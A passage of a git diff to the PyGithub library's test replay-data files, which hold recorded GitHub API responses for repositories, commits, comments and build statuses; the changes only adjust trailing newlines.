PyGithub.","fork":false,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing","forks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/forks","keys_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/teams","hooks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/hooks","issue_events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/events{/number}","events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/events","assignees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/assignees{/user}","branches_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/branches{/branch}","tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/tags","blobs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/statuses/{sha}","languages_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/languages","stargazers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/stargazers","contributors_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contributors","subscribers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscribers","subscription_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscription","commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/comments{/number}","contents_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contents/{+path}","compare_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/merges","archive_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/downloads","issues_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues{/number}","pulls_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/pulls{/number}","milestones_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/milestones{/number}","notifications_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/labels{/name}","releases_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/releases{/id}","deployments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/deployments"}} - diff --git a/tests/ReplayData/CodeScanAnalysis.setUp.txt b/tests/ReplayData/CodeScanAnalysis.setUp.txt index 1701809eac..19db0003e1 100644 --- a/tests/ReplayData/CodeScanAnalysis.setUp.txt +++ b/tests/ReplayData/CodeScanAnalysis.setUp.txt @@ -18,4 +18,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"168623303cdf933a5eda91a18bb2ad76"'), ('date', 'Sat, 19 May 2012 04:49:44 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-18T20:30:15Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":17,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-18T20:30:14Z","size":220,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490} \ No newline at end of file +{"mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-18T20:30:15Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":17,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-18T20:30:14Z","size":220,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490} diff --git a/tests/ReplayData/Commit.setUp.txt b/tests/ReplayData/Commit.setUp.txt index ae41cf9930..3800c24086 100644 --- a/tests/ReplayData/Commit.setUp.txt +++ b/tests/ReplayData/Commit.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '3445'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bcfd8d733465b9c28525edfc78ede564"'), ('date', 'Sun, 27 May 2012 06:50:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"parents":[{"sha":"b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae"}],"commit":{"message":"Remove completion functions from GitAuthor","author":{"date":"2012-05-09T09:22:33-07:00","name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"committer":{"date":"2012-05-09T09:22:33-07:00","name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"tree":{"sha":"4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a"},"author":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"committer":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","stats":{"total":20,"deletions":20,"additions":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","files":[{"patch":"@@ -14,22 +14,17 @@ def __init__( self, requester, attributes, lazy ):\n self.__completed = False\n self.__initAttributes()\n self.__useAttributes( attributes )\n- if not lazy:\n- self.__complete()\n \n @property\n def date( self ):\n- self.__completeIfNeeded( self.__date )\n return self.__date\n \n @property\n def email( self ):\n- self.__completeIfNeeded( self.__email )\n return self.__email\n \n @property\n def name( self ):\n- self.__completeIfNeeded( self.__name )\n return self.__name\n \n def __initAttributes( self ):\n@@ -37,21 +32,6 @@ def __initAttributes( self ):\n self.__email = None\n self.__name = None\n \n- def __completeIfNeeded( self, testedAttribute ):\n- if not self.__completed and testedAttribute is None:\n- self.__complete()\n-\n- # @toto Do not generate __complete if type has no url attribute\n- def __complete( self ):\n- status, headers, data = self.__requester.request(\n- \"GET\",\n- self.__url,\n- None,\n- None\n- )\n- self.__useAttributes( data )\n- self.__completed = True\n-\n def __useAttributes( self, attributes ):\n #@toto No need to check if attribute is in attributes when attribute is mandatory\n if \"date\" in attributes and attributes[ \"date\" ] is not None:","status":"modified","deletions":20,"blob_url":"https://github.com/jacquev6/PyGithub/blob/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github/GithubObjects/GitAuthor.py","changes":20,"additions":0,"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","raw_url":"https://github.com/jacquev6/PyGithub/raw/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github/GithubObjects/GitAuthor.py","filename":"github/GithubObjects/GitAuthor.py"}]} - diff --git a/tests/ReplayData/Commit.testCreateComment.txt b/tests/ReplayData/Commit.testCreateComment.txt index 13c8becdf3..8e794e7601 100644 --- a/tests/ReplayData/Commit.testCreateComment.txt +++ b/tests/ReplayData/Commit.testCreateComment.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4982'), ('content-length', '714'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bd72e3550c9b90814f0be2b54ab2cc8e"'), ('date', 'Tue, 22 May 2012 18:40:18 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/comments/1361949')] {"updated_at":"2012-05-22T18:40:18Z","position":null,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","created_at":"2012-05-22T18:40:18Z","path":null,"line":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":1361949,"html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1361949"} - diff --git a/tests/ReplayData/Commit.testCreateCommentOnFileLine.txt b/tests/ReplayData/Commit.testCreateCommentOnFileLine.txt index 6dd68a1612..ad2ffe8d93 100644 --- a/tests/ReplayData/Commit.testCreateCommentOnFileLine.txt +++ b/tests/ReplayData/Commit.testCreateCommentOnFileLine.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4970'), ('content-length', '764'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d2cb361ce6c53a0fc986e74f8547088f"'), ('date', 'Tue, 22 May 2012 18:49:34 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/comments/1362000')] {"updated_at":"2012-05-22T18:49:34Z","position":null,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362000","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","created_at":"2012-05-22T18:49:34Z","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","line":26,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":1362000,"html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1362000"} - diff --git a/tests/ReplayData/Commit.testCreateCommentOnFilePosition.txt b/tests/ReplayData/Commit.testCreateCommentOnFilePosition.txt index 8d2125f2a2..a039fa13a3 100644 --- a/tests/ReplayData/Commit.testCreateCommentOnFilePosition.txt +++ b/tests/ReplayData/Commit.testCreateCommentOnFilePosition.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4966'), ('content-length', '768'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b3d062ed01b92c31d072c7177113c0b1"'), ('date', 'Tue, 22 May 2012 18:50:02 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/comments/1362001')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362001","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","body":"Comment also created by PyGithub","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1362001","created_at":"2012-05-22T18:50:02Z","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","position":3,"updated_at":"2012-05-22T18:50:02Z","id":1362001,"line":null,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}} - diff --git a/tests/ReplayData/Commit.testCreateStatusWithAllParameters.txt b/tests/ReplayData/Commit.testCreateStatusWithAllParameters.txt index 51c4f66c85..4276a0c2e0 100644 --- a/tests/ReplayData/Commit.testCreateStatusWithAllParameters.txt +++ b/tests/ReplayData/Commit.testCreateStatusWithAllParameters.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('content-length', '603'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4975'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"06233b816702bedc54a6f68734a910bc"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/statuses/277040'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 11:30:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"state":"success","updated_at":"2012-09-08T11:30:56Z","target_url":"https://github.com/jacquev6/PyGithub/issues/67","url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/277040","description":"Status successfuly created by PyGithub","id":277040,"created_at":"2012-09-08T11:30:56Z"} - diff --git a/tests/ReplayData/Commit.testCreateStatusWithoutOptionalParameters.txt b/tests/ReplayData/Commit.testCreateStatusWithoutOptionalParameters.txt index d0dffee6f2..0ab1c4aaa9 100644 --- a/tests/ReplayData/Commit.testCreateStatusWithoutOptionalParameters.txt +++ b/tests/ReplayData/Commit.testCreateStatusWithoutOptionalParameters.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('content-length', '523'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4979'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/statuses/277031'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 11:27:12 GMT'), ('etag', '"7e28427673d50844a69c0871e5e39a69"'), ('content-type', 'application/json; charset=utf-8')] {"description":null,"created_at":"2012-09-08T11:27:12Z","target_url":null,"state":"pending","updated_at":"2012-09-08T11:27:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/277031","id":277031,"creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146}} - diff --git a/tests/ReplayData/Commit.testGetComments.txt b/tests/ReplayData/Commit.testGetComments.txt index 3d79b66300..a97cda75ff 100644 --- a/tests/ReplayData/Commit.testGetComments.txt +++ b/tests/ReplayData/Commit.testGetComments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '4322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9000a379c4d5eba3527a002d2bbc2e0c"'), ('date', 'Fri, 18 May 2012 20:12:18 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-18T08:46:09Z","position":null,"body":"probably a noob question: does this completion refer to autocompletion in IDE's/editors? \nI have observed that this is pretty erratic sometimes. I'm using PyDev+Eclipse.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to NamedUsers/AuthenticatedUser, really) does not show autocompletion to `g.get_user().get_repo()`. Is that by design? It makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347033","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1347033","created_at":"2012-05-18T08:46:09Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":1347033},{"updated_at":"2012-05-18T09:03:40Z","position":null,"body":"No, it has nothing to do with auto-completion in IDEs :D\n\nGithub API v3 sends only the main part of objects in reply to some requests. So, if the user wants an attribute that has not been received yet, I have to do another request to complete the object.\n\nYet, in version 1.0 (see the milesone), my library will be much more readable for IDEs and their auto-completion mechanisms, because I am giving up the meta-description that I used until 0.6, and I'm now generating much more traditional code, that you will be able to explore as if it was written manually.\n\nIf you want to take the time to open an issue about auto-completion in IDEs, I'll deal with it in milestone 1.0.\n\nThanks !","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347083","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1347083","created_at":"2012-05-18T08:59:28Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"id":1347083},{"updated_at":"2012-05-18T10:55:55Z","position":null,"body":"Ah, thanks for the clarification. :blush:\n\nI made issue #27 for the autocompletion. I already suspected something like this meta-description magic, since I tried to read some of the code and it was pretty arcane. I attributed that to my pythonic noobness, though. Thank you. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347397","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1347397","created_at":"2012-05-18T10:54:23Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":1347397},{"updated_at":"2012-05-18T20:11:17Z","position":3,"body":"This comment is here only to test PyGithub...","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1349654","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1349654","created_at":"2012-05-18T20:11:17Z","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","line":25,"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"id":1349654}] - diff --git a/tests/ReplayData/CommitCombinedStatus.setUp.txt b/tests/ReplayData/CommitCombinedStatus.setUp.txt index c584befdaa..00b954464d 100644 --- a/tests/ReplayData/CommitCombinedStatus.setUp.txt +++ b/tests/ReplayData/CommitCombinedStatus.setUp.txt @@ -19,4 +19,3 @@ None 200 [('content-length', '6365'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '3e3b9690823fb031da84658eb58aa83b'), ('x-oauth-scopes', 'notifications, public_repo, read:org, read:public_key, read:repo_hook, repo:status, repo_deployment'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo, repo:status'), ('etag', '"bfa38f9cceb7ccc231038178037a2013"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '12B0076B:2074:768909A:56A6A81F'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 25 Jan 2016 22:56:31 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1453765330')] {"state":"success","statuses":[{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390601376,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-js-pr/10357/","context":"jenkins/js","created_at":"2015-12-14T12:54:25Z","updated_at":"2015-12-14T12:54:25Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390603044,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-accessibility-pr/10173/","context":"jenkins/a11y","created_at":"2015-12-14T12:56:21Z","updated_at":"2015-12-14T12:56:21Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390615529,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-quality-pr/10214/","context":"jenkins/quality","created_at":"2015-12-14T13:10:22Z","updated_at":"2015-12-14T13:10:22Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390627281,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-bok-choy-pr/10918/","context":"jenkins/bokchoy","created_at":"2015-12-14T13:23:35Z","updated_at":"2015-12-14T13:23:35Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390627989,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-python-unittests-pr/10504/","context":"jenkins/python","created_at":"2015-12-14T13:24:18Z","updated_at":"2015-12-14T13:24:18Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390680150,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-lettuce-pr/10545/","context":"jenkins/lettuce","created_at":"2015-12-14T14:15:40Z","updated_at":"2015-12-14T14:15:40Z"}],"sha":"74e70119a23fa3ffb3db19d4590eccfebd72b659","total_count":6,"repository":{"id":10391073,"name":"edx-platform","full_name":"edx/edx-platform","owner":{"login":"edx","id":3179841,"avatar_url":"https://avatars.githubusercontent.com/u/3179841?v=3","gravatar_id":"","url":"https://api.github.com/users/edx","html_url":"https://github.com/edx","followers_url":"https://api.github.com/users/edx/followers","following_url":"https://api.github.com/users/edx/following{/other_user}","gists_url":"https://api.github.com/users/edx/gists{/gist_id}","starred_url":"https://api.github.com/users/edx/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/edx/subscriptions","organizations_url":"https://api.github.com/users/edx/orgs","repos_url":"https://api.github.com/users/edx/repos","events_url":"https://api.github.com/users/edx/events{/privacy}","received_events_url":"https://api.github.com/users/edx/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/edx/edx-platform","description":"The Open edX platform, the software that powers edX!","fork":false,"url":"https://api.github.com/repos/edx/edx-platform","forks_url":"https://api.github.com/repos/edx/edx-platform/forks","keys_url":"https://api.github.com/repos/edx/edx-platform/keys{/key_id}","collaborators_url":"https://api.github.com/repos/edx/edx-platform/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/edx/edx-platform/teams","hooks_url":"https://api.github.com/repos/edx/edx-platform/hooks","issue_events_url":"https://api.github.com/repos/edx/edx-platform/issues/events{/number}","events_url":"https://api.github.com/repos/edx/edx-platform/events","assignees_url":"https://api.github.com/repos/edx/edx-platform/assignees{/user}","branches_url":"https://api.github.com/repos/edx/edx-platform/branches{/branch}","tags_url":"https://api.github.com/repos/edx/edx-platform/tags","blobs_url":"https://api.github.com/repos/edx/edx-platform/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/edx/edx-platform/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/edx/edx-platform/git/refs{/sha}","trees_url":"https://api.github.com/repos/edx/edx-platform/git/trees{/sha}","statuses_url":"https://api.github.com/repos/edx/edx-platform/statuses/{sha}","languages_url":"https://api.github.com/repos/edx/edx-platform/languages","stargazers_url":"https://api.github.com/repos/edx/edx-platform/stargazers","contributors_url":"https://api.github.com/repos/edx/edx-platform/contributors","subscribers_url":"https://api.github.com/repos/edx/edx-platform/subscribers","subscription_url":"https://api.github.com/repos/edx/edx-platform/subscription","commits_url":"https://api.github.com/repos/edx/edx-platform/commits{/sha}","git_commits_url":"https://api.github.com/repos/edx/edx-platform/git/commits{/sha}","comments_url":"https://api.github.com/repos/edx/edx-platform/comments{/number}","issue_comment_url":"https://api.github.com/repos/edx/edx-platform/issues/comments{/number}","contents_url":"https://api.github.com/repos/edx/edx-platform/contents/{+path}","compare_url":"https://api.github.com/repos/edx/edx-platform/compare/{base}...{head}","merges_url":"https://api.github.com/repos/edx/edx-platform/merges","archive_url":"https://api.github.com/repos/edx/edx-platform/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/edx/edx-platform/downloads","issues_url":"https://api.github.com/repos/edx/edx-platform/issues{/number}","pulls_url":"https://api.github.com/repos/edx/edx-platform/pulls{/number}","milestones_url":"https://api.github.com/repos/edx/edx-platform/milestones{/number}","notifications_url":"https://api.github.com/repos/edx/edx-platform/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/edx/edx-platform/labels{/name}","releases_url":"https://api.github.com/repos/edx/edx-platform/releases{/id}","deployments_url":"https://api.github.com/repos/edx/edx-platform/deployments"},"commit_url":"https://api.github.com/repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659","url":"https://api.github.com/repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659/status"} - diff --git a/tests/ReplayData/CommitComment.setUp.txt b/tests/ReplayData/CommitComment.setUp.txt index 024f236d53..e83da51b66 100644 --- a/tests/ReplayData/CommitComment.setUp.txt +++ b/tests/ReplayData/CommitComment.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('content-length', '714'), ('x-ratelimit-remaining', '4979'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"eebb2ebe0274fc6672c9e7bad74e5f39"'), ('date', 'Tue, 22 May 2012 18:43:13 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","path":null,"body":"Comment created by 